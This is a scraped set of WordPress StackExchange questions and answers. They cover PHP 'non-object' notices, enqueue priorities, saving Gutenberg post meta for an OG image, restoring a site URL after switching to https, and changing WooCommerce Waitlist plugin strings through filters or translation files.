I was moving something in my web to add a class to all my images, and now i have this message: [15-Oct-2019 10:44:01 UTC] PHP Notice: Trying to get property 'post\_title' of non-object in /home/public\_html/wp-includes/nav-menu.php on line 825 [15-Oct-2019 10:44:01 UTC] PHP Notice: Trying to get property 'ID' of non-object in /home/public\_html/wp-includes/nav-menu.php on line 825 [15-Oct-2019 10:44:01 UTC] PHP Notice: Trying to get property 'ID' of non-object in /home/public\_html/wp-includes/nav-menu.php on line 829 What could be happen? I have made rollback but the message still appear. Is it dangerous?
The root problem here is assumptions. For example lets say we have an array here: ```php $test = [ 'foo' => 'bar' ]; ``` If we run `echo $test['foo'];` we should see *bar*, but what if we ran `echo $test['bananas'];`? There is no bananas entry in that array, so PHP will notice this, throw a warning/notice similar to the one you're seeing, then fill in the missing value with `''` or `null`. This also happens with objects, e.g. if we take a classic post object and try to do this: `echo $post->odijfnvlkdsfnvlkjdsnvkljdfnv;`, we'll get a warning/notice The same is true of your code. Most likely, the code calls an API but never checks if it was succesful, and just assumes it was. Or, a variable is misspelt. You can check for these things with guards such as `if ( !empty( ... ) ) {`, or by checking return values on WP functions to see if they returned what you expected them to, or if something went wrong. > > What could be happen? I have made rollback but the message still appear. Is it dangerous? > > > Yes and no, there are possible consequences of this, and it depends a lot on what you're doing and how it could interact. Because you're assuming the values are good when they aren't, or using things that don't exist, PHP will substitute a placeholder value. That value is a `false`-ish value, and might mess up your logic, or lead to unexpected situations. That could be cryptic errors, or avenues to exploit security. The biggest issue is when PHP is configured to show these warnings on the frontend, which can break REST XMLRPC and AJAX, as well as anything that changes HTTP headers to do things The most annoying issue though, is that debugging with a PHP error log becomes almost impossible due to the huge numbers of warnings this would generate. Anything of interest becomes buried under a deluge of notices about object properties and array keys being access that don't exist.
350,560
<p>I have changed default permalinks into custom structure, and I got 404 error across all of my site.</p>
[ { "answer_id": 350558, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 1, "selected": false, "text": "<p>The root problem here is assumptions.</p>\n\n<p>For example lets say we have an array here:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>$test = [\n 'foo' =&gt; 'bar'\n];\n</code></pre>\n\n<p>If we run <code>echo $test['foo'];</code> we should see <em>bar</em>, but what if we ran <code>echo $test['bananas'];</code>? There is no bananas entry in that array, so PHP will notice this, throw a warning/notice similar to the one you're seeing, then fill in the missing value with <code>''</code> or <code>null</code>.</p>\n\n<p>This also happens with objects, e.g. if we take a classic post object and try to do this: <code>echo $post-&gt;odijfnvlkdsfnvlkjdsnvkljdfnv;</code>, we'll get a warning/notice</p>\n\n<p>The same is true of your code. Most likely, the code calls an API but never checks if it was succesful, and just assumes it was. Or, a variable is misspelt.</p>\n\n<p>You can check for these things with guards such as <code>if ( !empty( ... ) ) {</code>, or by checking return values on WP functions to see if they returned what you expected them to, or if something went wrong.</p>\n\n<blockquote>\n <p>What could be happen? I have made rollback but the message still appear. Is it dangerous?</p>\n</blockquote>\n\n<p>Yes and no, there are possible consequences of this, and it depends a lot on what you're doing and how it could interact. Because you're assuming the values are good when they aren't, or using things that don't exist, PHP will substitute a placeholder value. That value is a <code>false</code>-ish value, and might mess up your logic, or lead to unexpected situations. That could be cryptic errors, or avenues to exploit security.</p>\n\n<p>The biggest issue is when PHP is configured to show these warnings on the frontend, which can break REST XMLRPC and AJAX, as well as anything that changes HTTP headers to do things</p>\n\n<p>The most annoying issue though, is that debugging with a PHP error log becomes almost impossible due to the huge numbers of warnings this would generate. Anything of interest becomes buried under a deluge of notices about object properties and array keys being access that don't exist.</p>\n" }, { "answer_id": 350595, "author": "butlerblog", "author_id": 38603, "author_profile": "https://wordpress.stackexchange.com/users/38603", "pm_score": 1, "selected": false, "text": "<p>The properties listed in your notices are all properties of the <code>$post</code> object. The notices are indicating that where this is used, the <code>$post</code> object is not defined (i.e. it is not an existing object).</p>\n\n<p>This can occur as a result of plugins/themes and/or a combination of those things, or custom code. Based on your description (\"I was moving something in my web to add a class to all my images\"), what you are doing may be intending to use the <code>$post</code> object, but it is not actually defined where you are trying to use it.</p>\n\n<p>This may be as simple as applying it as a \"global\" variable in your code (assuming this is a code snippet). If so, try adding this:</p>\n\n<pre><code>global $post;\n</code></pre>\n\n<p>Or, provide some more detail on what you changed (and what you had before the change).</p>\n" }, { "answer_id": 393864, "author": "Kevinleary.net", "author_id": 1495, "author_profile": "https://wordpress.stackexchange.com/users/1495", "pm_score": 0, "selected": false, "text": "<p>If you see this happening in a function outside of a theme template, then adding <code>global $post;</code> to the top of the function <em>might</em> work.</p>\n<p>If it's happening on a single theme template, first make sure that you're using the <code>$post</code> object after the <code>the_post()</code> function call.</p>\n<p>It's also likely that you're trying to use the <code>$post</code> object on a page that doesn't have one. This could include search results, 404, archives, and any other scenario where a single $post object isn't generated. In these cases I avoid the issue by checking to see if the <code>$post</code> object is a valid instance of the <code>WP_Post</code> class:</p>\n<pre><code>is_a($post, 'WP_Post')\n</code></pre>\n<p>Here's a working example of where I'd typically use this approach:</p>\n<pre><code>/**\n * Hero Lead-in\n */\nfunction hero_leadin() {\n global $post;\n\n // No $post object exists\n if ( ! is_a($post, 'WP_Post') ) return;\n \n return get_field('hero__lead-in');\n}\n</code></pre>\n<p>If my theme's <code>header.php</code> uses this <code>hero_leadin()</code> function, it won't lead to the <code>trying to get property 'id' of non-object</code> PHP notice.</p>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350560", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176834/" ]
I have changed default permalinks into custom structure, and I got 404 error across all of my site.
The root problem here is assumptions. For example lets say we have an array here: ```php $test = [ 'foo' => 'bar' ]; ``` If we run `echo $test['foo'];` we should see *bar*, but what if we ran `echo $test['bananas'];`? There is no bananas entry in that array, so PHP will notice this, throw a warning/notice similar to the one you're seeing, then fill in the missing value with `''` or `null`. This also happens with objects, e.g. if we take a classic post object and try to do this: `echo $post->odijfnvlkdsfnvlkjdsnvkljdfnv;`, we'll get a warning/notice The same is true of your code. Most likely, the code calls an API but never checks if it was succesful, and just assumes it was. Or, a variable is misspelt. You can check for these things with guards such as `if ( !empty( ... ) ) {`, or by checking return values on WP functions to see if they returned what you expected them to, or if something went wrong. > > What could be happen? I have made rollback but the message still appear. Is it dangerous? > > > Yes and no, there are possible consequences of this, and it depends a lot on what you're doing and how it could interact. Because you're assuming the values are good when they aren't, or using things that don't exist, PHP will substitute a placeholder value. That value is a `false`-ish value, and might mess up your logic, or lead to unexpected situations. That could be cryptic errors, or avenues to exploit security. The biggest issue is when PHP is configured to show these warnings on the frontend, which can break REST XMLRPC and AJAX, as well as anything that changes HTTP headers to do things The most annoying issue though, is that debugging with a PHP error log becomes almost impossible due to the huge numbers of warnings this would generate. Anything of interest becomes buried under a deluge of notices about object properties and array keys being access that don't exist.
350,579
<p>I've got a conflict with another plugin which is blocking the JS in my custom plugin with the hook:</p> <pre><code>add_action('wp_enqueue_scripts', '&lt;FOREIGN-PLUGIN&gt;'); </code></pre> <p>Is there a way to enqueue my JS before all other plugins?</p> <p>I tried already to set priority like</p> <pre><code>add_action('wp_enqueue_scripts', '&lt;FOREIGN-PLUGIN&gt;', 1); add_action('wp_enqueue_scripts', '&lt;MY-PLUGIN&gt;', 2); </code></pre> <p>but it doesn't work. Any ideas?</p>
[ { "answer_id": 350580, "author": "KGreene", "author_id": 175001, "author_profile": "https://wordpress.stackexchange.com/users/175001", "pm_score": -1, "selected": false, "text": "<p>Use dependencies. Dependencies are scripts that your script relies upon to be loaded first. The <code>&lt;FOREIGN-PLUGIN&gt;</code> in the example should be the handle that script was enqueued with.</p>\n\n<pre><code>$deps = array('&lt;FOREIGN-PLUGIN&gt;');\nwp_enqueue_script( $handle, $src, $deps);\n\n</code></pre>\n" }, { "answer_id": 350594, "author": "butlerblog", "author_id": 38603, "author_profile": "https://wordpress.stackexchange.com/users/38603", "pm_score": 0, "selected": false, "text": "<p>If the plugin does not include a priority, then the priority is \"10\" (the default).</p>\n\n<p>So without changing (editing) the offending plugin, you can use a priority higher than 10 to load after, or lower than 10 to load earlier. </p>\n\n<p>You mentioned that you want yours to load earlier. If that's the case, the priority in your example is backwards. Setting foreign-plugin to 1 means it will load before my-plugin (set to 2). Instead, it should be:</p>\n\n<pre><code>add_action('wp_enqueue_scripts', '&lt;FOREIGN-PLUGIN&gt;', 2);\nadd_action('wp_enqueue_scripts', '&lt;MY-PLUGIN&gt;', 1);\n</code></pre>\n\n<p>Then \"<code>&lt;MY-PLUGIN&gt;</code>\" will load earlier than \"<code>&lt;FOREIGN-PLUGIN&gt;</code>\". But as I mentioned, if it's already in another plugin, you shouldn't edit that and the default prior, so your enqueue should simply be:</p>\n\n<pre><code>add_action('wp_enqueue_scripts', '&lt;MY-PLUGIN&gt;', 1);\n</code></pre>\n\n<p>(Or some priority number from 1-9). Then \"my-plugin\" will enqueue first.</p>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350579", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/122620/" ]
I've got a conflict with another plugin which is blocking the JS in my custom plugin with the hook: ``` add_action('wp_enqueue_scripts', '<FOREIGN-PLUGIN>'); ``` Is there a way to enqueue my JS before all other plugins? I tried already to set priority like ``` add_action('wp_enqueue_scripts', '<FOREIGN-PLUGIN>', 1); add_action('wp_enqueue_scripts', '<MY-PLUGIN>', 2); ``` but it doesn't work. Any ideas?
If the plugin does not include a priority, then the priority is "10" (the default). So without changing (editing) the offending plugin, you can use a priority higher than 10 to load after, or lower than 10 to load earlier. You mentioned that you want yours to load earlier. If that's the case, the priority in your example is backwards. Setting foreign-plugin to 1 means it will load before my-plugin (set to 2). Instead, it should be: ``` add_action('wp_enqueue_scripts', '<FOREIGN-PLUGIN>', 2); add_action('wp_enqueue_scripts', '<MY-PLUGIN>', 1); ``` Then "`<MY-PLUGIN>`" will load earlier than "`<FOREIGN-PLUGIN>`". But as I mentioned, if it's already in another plugin, you shouldn't edit that and the default prior, so your enqueue should simply be: ``` add_action('wp_enqueue_scripts', '<MY-PLUGIN>', 1); ``` (Or some priority number from 1-9). Then "my-plugin" will enqueue first.
350,681
<p>I'm attempting to store both an Image's URL and ID in a post's meta field via a Gutenberg component, but am having trouble figuring out how to store those multiple values in an array.</p> <p>I can store a <em>single</em> value as a meta value without a problem. I can even store a single value in the first spot of an array without a problem. But I cannot seem to work out the proper syntax to take advantage of Wordpress's ability to store an array as a meta value.</p> <p>The overarching goal is to override the image being used when a post is shared on social media. The issue is that I need to transfer both the URL and ID over to a PHP hook for it to work properly with a plugin (The SEO Framework). Unfortunately, I can't just store the ID because I need the URL to render the image within the Gutenberg component.</p> <p>Full Component Code:</p> <pre class="lang-js prettyprint-override"><code>const OGImage = compose( withDispatch( function( dispatch, props ) { return { setMetaValue: function( metaValue ) { dispatch( 'core/editor' ).editPost( { meta: { [ props.metaKey ]: metaValue } } ); } } } ), withSelect( function( select, props ) { return { metaValue: select( 'core/editor' ).getEditedPostAttribute( 'meta' )[ props.metaKey ] } } ) )( function( props ) { const fallbackInstructions = &lt;p&gt;{ __( 'To edit the OG image, you need permission to upload media.', 'atlantis') }&lt;/p&gt;; const onUpdateImage = img =&gt; { props.setMetaValue( img.url ); }; const onRemoveImage = () =&gt; { props.setMetaValue( null ); }; return ( &lt;div className="og-image__wrapper"&gt; &lt;MediaUploadCheck fallback={ fallbackInstructions }&gt; &lt;MediaUpload title={ OG_IMAGE_LABEL } onSelect={ onUpdateImage } allowedTypes={ ALLOWED_MEDIA_TYPES } render={ ( { open } ) =&gt; ( &lt;Button className={ ! props.metaValue ? 'og-image__toggle' : 'og-image__preview' } onClick={ open } aria-label={ ! props.metaValue ? null : EDIT_OR_UPDATE_OG_IMAGE_LABEL }&gt; { !! props.metaValue &amp;&amp; &lt;img className='og-image__button' src={ props.metaValue } alt="" /&gt; } { ! props.metaValue &amp;&amp; SET_OG_IMAGE_LABEL } &lt;/Button&gt; ) } /&gt; &lt;/MediaUploadCheck&gt; { !! props.metaValue &amp;&amp; &lt;MediaUploadCheck&gt; &lt;MediaUpload title={ OG_IMAGE_LABEL } onSelect={ onUpdateImage } allowedTypes={ ALLOWED_MEDIA_TYPES } render={ ( { open } ) =&gt; ( &lt;Button onClick={ open } isDefault isLarge&gt; { REPLACE_OG_IMAGE_LABEL } &lt;/Button&gt; ) } /&gt; &lt;/MediaUploadCheck&gt; } { !! props.metaValue &amp;&amp; &lt;MediaUploadCheck&gt; &lt;Button onClick={ onRemoveImage } isLink isDestructive&gt; { REMOVE_OG_IMAGE_LABEL } &lt;/Button&gt; &lt;/MediaUploadCheck&gt; } &lt;/div&gt; ); } ); export default OGImage; </code></pre> <p>Bits that matter:</p> <pre class="lang-js prettyprint-override"><code>const OGImage = compose( withDispatch( function( dispatch, props ) { return { setMetaValue: function( metaValue ) { dispatch( 'core/editor' ).editPost( { meta: { [ props.metaKey ]: metaValue } } ); } } } ), withSelect( function( select, props ) { return { metaValue: select( 'core/editor' ).getEditedPostAttribute( 'meta' )[ props.metaKey ] } } ) )( function( props ) { const onUpdateImage = img =&gt; { props.setMetaValue( img.url ); }; return ( &lt;img className='og-image__button' src={ props.metaValue } alt="" /&gt; ); } ); export default OGImage; </code></pre> <p>My optimal solution would be to do something like this, but this just stores the first value specified (so in this case, [img.url]):</p> <pre class="lang-js prettyprint-override"><code>const onUpdateImage = img =&gt; { props.setMetaValue( img.url, img.id ); }; ... &lt;img className='og-image__button' src={ props.metaValue[0] } alt="" /&gt; </code></pre> <p>or even:</p> <pre class="lang-js prettyprint-override"><code>const onUpdateImage = img =&gt; { props.setMetaValue( [img.url, img.id] ); }; ... &lt;img className='og-image__button' src={ props.metaValue[0] } alt="" /&gt; </code></pre> <p>I'm declaring the meta value as:</p> <pre class="lang-php prettyprint-override"><code> register_meta( 'post', '_og_image', [ 'show_in_rest' =&gt; true, 'single' =&gt; false, 'type' =&gt; 'string' ] ); </code></pre> <p>As a last ditch effort, I'm considering combining both the Image URL and ID in a string and parsing it out on both ends. This solution feels hacky to me and I would prefer to store the two values independently as an array. </p> <p>This is a <a href="https://stackoverflow.com/questions/58346328/set-multiple-meta-values-as-an-array-using-setmetavalue-call-in-gutenberg-js">crosspost</a>.</p> <p>Appendix for Tom. This worked once -- out of some strange fluke I'm assuming -- but I'm unable to reproduce it. The image url <em>is</em> being changed, but the image id refuses to save in the meta value.</p> <p>PHP</p> <pre class="lang-php prettyprint-override"><code>function set_og_image() { register_meta( 'post', 'og_image_url', [ 'show_in_rest' =&gt; true, 'single' =&gt; true, 'type' =&gt; 'string' ] ); register_meta( 'post', 'og_image_id', [ 'show_in_rest' =&gt; true, 'single' =&gt; true, 'type' =&gt; 'string' // Solution (thank you to Tom): This needs to be an integer type. ] ); } </code></pre> <p>JS</p> <pre class="lang-js prettyprint-override"><code>const OGImage = compose( withDispatch( function( dispatch, props ) { return { setMetaValue: function( metaKey, metaValue ) { dispatch( 'core/editor' ).editPost( { meta: { [ metaKey ]: metaValue } } ); } } } ), withSelect( function( select, props ) { return { metaValueURL: select( 'core/editor' ).getEditedPostAttribute( 'meta' )[ 'og_image_url' ], metaValueID: select( 'core/editor' ).getEditedPostAttribute( 'meta' )[ 'og_image_id' ] } } ) )( function( props ) { const onUpdateImage = img =&gt; { props.setMetaValue( 'og_image_url', img.url ); props.setMetaValue( 'og_image_id', img.id ); }; const onRemoveImage = () =&gt; { props.setMetaValue( props.metaKeyURL, null ); props.setMetaValue( props.metaKeyID, null ); }; return ( ... ); } ); </code></pre> <p>Parent Component:</p> <pre class="lang-js prettyprint-override"><code>const { __ } = wp.i18n; const { Fragment } = wp.element; const { PanelBody, PanelRow } = wp.components; const { registerPlugin } = wp.plugins; const { PluginSidebar, PluginSidebarMoreMenuItem } = wp.editPost; import OGImage from './components/og-image'; const GenericSidebar = props =&gt; { return ( &lt;Fragment&gt; &lt;PluginSidebarMoreMenuItem target="generic-sidebar"&gt; {__("Generic Sidebar", "atlantis")} &lt;/PluginSidebarMoreMenuItem&gt; &lt;PluginSidebar name="generic-sidebar" title={__("Generic Sidebar", "atlantis")} &gt; &lt;PanelBody title={__("OG Image", "atlantis")} &gt; &lt;PanelRow&gt; &lt;OGImage metaKeyURL = { 'og_image_url' } metaKeyID = { 'og_image_id' } /&gt; &lt;/PanelRow&gt; &lt;/PanelBody&gt; &lt;/PluginSidebar&gt; &lt;/Fragment&gt; ); }; registerPlugin("generic-sidebar", { icon: "visibility", render: GenericSidebar }); </code></pre>
[ { "answer_id": 350683, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 1, "selected": false, "text": "<p>The short answer is, you shouldn't.</p>\n\n<p>Post meta/etc store a single value, and to get around that some people PHP serialize the data. So much so that core started doing it automatically if you passed an array or object so that it could store a string.</p>\n\n<p>The problem is this opens you up to PHP serialisation attacks, and is a security concern. Additionally, it makes it incredibly difficult to query for those values.</p>\n\n<p>So instead, the correct solution, is to store 2 meta key/value pairs, not 1. That means calling <code>register_meta</code> twice, with different key names for the ID and the URL.</p>\n\n<p>There is also the alternative of retrieving the URL given an attachment ID via the REST API, or the local storage. You don't need to store the URL in post meta to be able to show an attachment IDs preview. Gutenberg manages it with the featured image, so it's possible</p>\n" }, { "answer_id": 350747, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 1, "selected": true, "text": "<p>Have you tried using:</p>\n\n<pre class=\"lang-js prettyprint-override\"><code> setImage: function( image_url, image_id ) {\n dispatch( 'core/editor' ).editPost(\n {\n meta: {\n 'og_image_url': image_url,\n 'og_image_id': image_id\n }\n }\n );\n }\n</code></pre>\n\n<p>Instead of using a generic setMetaValue function?</p>\n" } ]
2019/10/16
[ "https://wordpress.stackexchange.com/questions/350681", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/172153/" ]
I'm attempting to store both an Image's URL and ID in a post's meta field via a Gutenberg component, but am having trouble figuring out how to store those multiple values in an array. I can store a *single* value as a meta value without a problem. I can even store a single value in the first spot of an array without a problem. But I cannot seem to work out the proper syntax to take advantage of Wordpress's ability to store an array as a meta value. The overarching goal is to override the image being used when a post is shared on social media. The issue is that I need to transfer both the URL and ID over to a PHP hook for it to work properly with a plugin (The SEO Framework). Unfortunately, I can't just store the ID because I need the URL to render the image within the Gutenberg component. Full Component Code: ```js const OGImage = compose( withDispatch( function( dispatch, props ) { return { setMetaValue: function( metaValue ) { dispatch( 'core/editor' ).editPost( { meta: { [ props.metaKey ]: metaValue } } ); } } } ), withSelect( function( select, props ) { return { metaValue: select( 'core/editor' ).getEditedPostAttribute( 'meta' )[ props.metaKey ] } } ) )( function( props ) { const fallbackInstructions = <p>{ __( 'To edit the OG image, you need permission to upload media.', 'atlantis') }</p>; const onUpdateImage = img => { props.setMetaValue( img.url ); }; const onRemoveImage = () => { props.setMetaValue( null ); }; return ( <div className="og-image__wrapper"> <MediaUploadCheck fallback={ fallbackInstructions }> <MediaUpload title={ OG_IMAGE_LABEL } onSelect={ onUpdateImage } allowedTypes={ ALLOWED_MEDIA_TYPES } render={ ( { open } ) => ( <Button className={ ! props.metaValue ? 'og-image__toggle' : 'og-image__preview' } onClick={ open } aria-label={ ! props.metaValue ? null : EDIT_OR_UPDATE_OG_IMAGE_LABEL }> { !! props.metaValue && <img className='og-image__button' src={ props.metaValue } alt="" /> } { ! props.metaValue && SET_OG_IMAGE_LABEL } </Button> ) } /> </MediaUploadCheck> { !! props.metaValue && <MediaUploadCheck> <MediaUpload title={ OG_IMAGE_LABEL } onSelect={ onUpdateImage } allowedTypes={ ALLOWED_MEDIA_TYPES } render={ ( { open } ) => ( <Button onClick={ open } isDefault isLarge> { REPLACE_OG_IMAGE_LABEL } </Button> ) } /> </MediaUploadCheck> } { !! props.metaValue && <MediaUploadCheck> <Button onClick={ onRemoveImage } isLink isDestructive> { REMOVE_OG_IMAGE_LABEL } </Button> </MediaUploadCheck> } </div> ); } ); export default OGImage; ``` Bits that matter: ```js const OGImage = compose( withDispatch( function( dispatch, props ) { return { setMetaValue: function( metaValue ) { dispatch( 'core/editor' ).editPost( { meta: { [ props.metaKey ]: metaValue } } ); } } } ), withSelect( function( select, props ) { return { metaValue: select( 'core/editor' ).getEditedPostAttribute( 'meta' )[ props.metaKey ] } } ) )( function( props ) { const onUpdateImage = img => { props.setMetaValue( img.url ); }; return ( <img className='og-image__button' src={ props.metaValue } alt="" /> ); } ); export default OGImage; ``` My optimal solution would be to do something like this, but this just stores the first value specified (so in this case, [img.url]): ```js const onUpdateImage = img => { props.setMetaValue( img.url, img.id ); }; ... <img className='og-image__button' src={ props.metaValue[0] } alt="" /> ``` or even: ```js const onUpdateImage = img => { props.setMetaValue( [img.url, img.id] ); }; ... <img className='og-image__button' src={ props.metaValue[0] } alt="" /> ``` I'm declaring the meta value as: ```php register_meta( 'post', '_og_image', [ 'show_in_rest' => true, 'single' => false, 'type' => 'string' ] ); ``` As a last ditch effort, I'm considering combining both the Image URL and ID in a string and parsing it out on both ends. This solution feels hacky to me and I would prefer to store the two values independently as an array. This is a [crosspost](https://stackoverflow.com/questions/58346328/set-multiple-meta-values-as-an-array-using-setmetavalue-call-in-gutenberg-js). Appendix for Tom. This worked once -- out of some strange fluke I'm assuming -- but I'm unable to reproduce it. The image url *is* being changed, but the image id refuses to save in the meta value. PHP ```php function set_og_image() { register_meta( 'post', 'og_image_url', [ 'show_in_rest' => true, 'single' => true, 'type' => 'string' ] ); register_meta( 'post', 'og_image_id', [ 'show_in_rest' => true, 'single' => true, 'type' => 'string' // Solution (thank you to Tom): This needs to be an integer type. ] ); } ``` JS ```js const OGImage = compose( withDispatch( function( dispatch, props ) { return { setMetaValue: function( metaKey, metaValue ) { dispatch( 'core/editor' ).editPost( { meta: { [ metaKey ]: metaValue } } ); } } } ), withSelect( function( select, props ) { return { metaValueURL: select( 'core/editor' ).getEditedPostAttribute( 'meta' )[ 'og_image_url' ], metaValueID: select( 'core/editor' ).getEditedPostAttribute( 'meta' )[ 'og_image_id' ] } } ) )( function( props ) { const onUpdateImage = img => { props.setMetaValue( 'og_image_url', img.url ); props.setMetaValue( 'og_image_id', img.id ); }; const onRemoveImage = () => { props.setMetaValue( props.metaKeyURL, null ); props.setMetaValue( props.metaKeyID, null ); }; return ( ... ); } ); ``` Parent Component: ```js const { __ } = wp.i18n; const { Fragment } = wp.element; const { PanelBody, PanelRow } = wp.components; const { registerPlugin } = wp.plugins; const { PluginSidebar, PluginSidebarMoreMenuItem } = wp.editPost; import OGImage from './components/og-image'; const GenericSidebar = props => { return ( <Fragment> <PluginSidebarMoreMenuItem target="generic-sidebar"> {__("Generic Sidebar", "atlantis")} </PluginSidebarMoreMenuItem> <PluginSidebar name="generic-sidebar" title={__("Generic Sidebar", "atlantis")} > <PanelBody title={__("OG Image", "atlantis")} > <PanelRow> <OGImage metaKeyURL = { 'og_image_url' } metaKeyID = { 'og_image_id' } /> </PanelRow> </PanelBody> </PluginSidebar> </Fragment> ); }; registerPlugin("generic-sidebar", { icon: "visibility", render: GenericSidebar }); ```
Have you tried using: ```js setImage: function( image_url, image_id ) { dispatch( 'core/editor' ).editPost( { meta: { 'og_image_url': image_url, 'og_image_id': image_id } } ); } ``` Instead of using a generic setMetaValue function?
350,765
<p>I've changed the <code>http://</code> host <code>to https://</code>, then accidentally saved it. Now I can't log in to the admin panel having '404 Not Found' page. How can I fix this?</p>
[ { "answer_id": 350766, "author": "Matthew Brown aka Lord Matt", "author_id": 109240, "author_profile": "https://wordpress.stackexchange.com/users/109240", "pm_score": -1, "selected": false, "text": "<p>Before I start, I should point out that I am making a few educated guesses about what you have done exactly. I will try to cover as much as I can. This is most likely an issue with the way your hosting is set up. WP.SE is not the ideal question to ask about that. However, depending on how comfortable you are with accessing the database itself, you should be able to locate the entry and revert your changes.</p>\n\n<p>If you have access to your database, say with PHPMyAdmin, you can look for the wp_options table. In there you can find the rows with <code>option_name</code> \"siteurl\" &amp; \"home\". You could then edit the <code>option_value</code> to reflect the hostname you require. More help on doing that <a href=\"https://help.dreamhost.com/hc/en-us/articles/214580498-How-do-I-change-the-WordPress-Site-URL-\" rel=\"nofollow noreferrer\">can be found here</a>. There are plenty of search results you could also help, but this was one of the first ones I found.</p>\n\n<p>If you made the change to your options file, you will need to use FTP or your hosting file editor to revert your changes.</p>\n\n<p>That said, you may wish to look at how your hosting provider assigns HTTPS and check that it is enabled, pointed at the same folder and has a valid certificate. You'd have to take to hosting support if you need help with that.</p>\n" }, { "answer_id": 350783, "author": "MMK", "author_id": 148207, "author_profile": "https://wordpress.stackexchange.com/users/148207", "pm_score": 0, "selected": false, "text": "<pre><code>define( 'WP_HOME', 'http://example.com' );\ndefine( 'WP_SITEURL', 'http://example.com' );\n</code></pre>\n\n<p>Add this to your <code>wp-config.php</code> which you can find in the root of your website. Remember to change <code>example.com</code> to your URL.</p>\n" } ]
2019/10/18
[ "https://wordpress.stackexchange.com/questions/350765", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176988/" ]
I've changed the `http://` host `to https://`, then accidentally saved it. Now I can't log in to the admin panel having '404 Not Found' page. How can I fix this?
``` define( 'WP_HOME', 'http://example.com' ); define( 'WP_SITEURL', 'http://example.com' ); ``` Add this to your `wp-config.php` which you can find in the root of your website. Remember to change `example.com` to your URL.
350,772
<p>I'm using the WooCommerce Waitlist plugin, but I'd like to change it to be for products that haven't been released yet, ie for "expressions of interest".</p> <p>To do this I need to change a lot of strings, for example one that says "Join the waitlist to be emailed when this product becomes available".</p> <p>I've found where this is set in the plugin: the file...</p> <blockquote> <p>wcwl-waitlist-template-functions.php</p> </blockquote> <p>... in the root folder of the plugin.</p> <p>If this was a theme I could replicate this file in my child theme and modify the strings, but as it's a plugin I'm all out at sea. And redeclaring the function causes an error. Any help would be much appreciated.</p> <p>Here's the code of the function...</p> <pre><code>/** * Get the default intro text to display above the waitlist dependent on product type * * @param string $product_type simple/variation/grouped (variation is the same as simple by default) * @param bool $user_is_on_waitlist * * @return mixed|void */ function wcwl_get_intro_text( $product_type = 'simple', $user_is_on_waitlist = false ) { $context = 'join'; $text = __( 'Join the waitlist to be emailed when this product becomes available', 'woocommerce-waitlist' ); if ( $user_is_on_waitlist ) { $context = 'leave'; $text = __( 'You are on the waitlist for this product', 'woocommerce-waitlist' ); } elseif ( 'grouped' === $product_type || 'event' === $product_type ) { $context = $product_type; $text = __( 'Check the box alongside any Out of Stock products and update the waitlist to be emailed when those products become available', 'woocommerce-waitlist' ); } return apply_filters( 'wcwl_' . $context . '_waitlist_message_text', $text ); } </code></pre>
[ { "answer_id": 350774, "author": "Chetan Vaghela", "author_id": 169856, "author_profile": "https://wordpress.stackexchange.com/users/169856", "pm_score": 0, "selected": false, "text": "<p>You can change text using filter. add below code in active theme's functions.php file to change text form join waitlist message.\nHere is a documentation where you can take reference. : <a href=\"https://docs.woocommerce.com/document/woocommerce-waitlist/\" rel=\"nofollow noreferrer\">https://docs.woocommerce.com/document/woocommerce-waitlist/</a></p>\n\n<pre><code>add_filter( 'wcwl_join_waitlist_message_text', 'change_string_from_woo_wait_list',10,1 );\nfunction change_string_from_woo_wait_list($text)\n{\n $text = __( 'Custom Text' ); // change text here\n return $text;\n}\n</code></pre>\n\n<p>Let me know if this works for you!</p>\n" }, { "answer_id": 350778, "author": "Hector", "author_id": 48376, "author_profile": "https://wordpress.stackexchange.com/users/48376", "pm_score": 2, "selected": true, "text": "<p>You are able to change texts using a <strong>translation</strong> file.</p>\n\n<p>By default, plugin texts are in the English language. Even your site language is English, You are able to generate a new language file and change texts on it.</p>\n\n<p>Imagine that the plugin folder name (plugin slug, plugin text domain) is <strong>my-plugin</strong> and Your site language is set to <strong>English (UK)</strong> in <em>Admin Dashboard -> Settings -> General Settings -> Site Language</em>.</p>\n\n<p>So, Create a new translation using <a href=\"https://poedit.net/download\" rel=\"nofollow noreferrer\">Poedit</a> and set the translation language to <strong>English (UK)</strong>. Then change texts as You want and save the translation file. You can use the <code>pot</code> file that comes with the plugin and most of the time it exists in the <code>language</code> folder.</p>\n\n<p>It will give You two files named as <code>en_GB.po</code> and <code>en_GB.mo</code>. Rename files to <code>my-plugin-en_GB.po</code> and <code>my-plugin-en_GB.mo</code> and move them to <code>wp-content/languages/plugins</code> folder. Refresh the site and texts should be changed.</p>\n" } ]
2019/10/18
[ "https://wordpress.stackexchange.com/questions/350772", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/98960/" ]
I'm using the WooCommerce Waitlist plugin, but I'd like to change it to be for products that haven't been released yet, ie for "expressions of interest". To do this I need to change a lot of strings, for example one that says "Join the waitlist to be emailed when this product becomes available". I've found where this is set in the plugin: the file... > > wcwl-waitlist-template-functions.php > > > ... in the root folder of the plugin. If this was a theme I could replicate this file in my child theme and modify the strings, but as it's a plugin I'm all out at sea. And redeclaring the function causes an error. Any help would be much appreciated. Here's the code of the function... ``` /** * Get the default intro text to display above the waitlist dependent on product type * * @param string $product_type simple/variation/grouped (variation is the same as simple by default) * @param bool $user_is_on_waitlist * * @return mixed|void */ function wcwl_get_intro_text( $product_type = 'simple', $user_is_on_waitlist = false ) { $context = 'join'; $text = __( 'Join the waitlist to be emailed when this product becomes available', 'woocommerce-waitlist' ); if ( $user_is_on_waitlist ) { $context = 'leave'; $text = __( 'You are on the waitlist for this product', 'woocommerce-waitlist' ); } elseif ( 'grouped' === $product_type || 'event' === $product_type ) { $context = $product_type; $text = __( 'Check the box alongside any Out of Stock products and update the waitlist to be emailed when those products become available', 'woocommerce-waitlist' ); } return apply_filters( 'wcwl_' . $context . '_waitlist_message_text', $text ); } ```
